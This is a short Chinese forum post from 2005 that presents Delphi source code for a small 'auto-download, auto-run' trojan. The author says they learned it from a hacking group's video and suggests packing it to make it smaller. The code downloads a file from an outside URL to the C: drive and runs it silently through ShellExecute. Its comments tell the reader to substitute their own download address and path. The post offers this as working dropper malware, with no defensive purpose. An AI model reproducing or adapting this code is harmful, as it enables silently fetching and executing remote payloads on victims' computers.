来源:远方网络 | 2005-12-29 14:46:49 | (有2292人读过)
刚看了.南域剑盟的一个动画才发现 自动下载,自动运行小木马可以写成. 10几kb再一加壳哪不更小!学到了不少!
program wsdgsRoad;
uses URLMon, ShellApi;
var u,l: pchar; {.$R *.res} function DownloadFile(SourceFile, DestFile: string): Boolean; begin GetMem(u,100); GetMem(l,100); u:='http://www.jm-my.com/ip2.txt';//改为你要下载的网址 l:='c:/downpage.txt';//改为你要存放并打开文件的路径 try Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0; except Result := False; end; end; begin if DownloadFile(u, l) then begin ShellExecute(0, PChar('open'), PChar(l), PChar(''), nil, 0) end; //freemem(u); //freemem(l); end.
|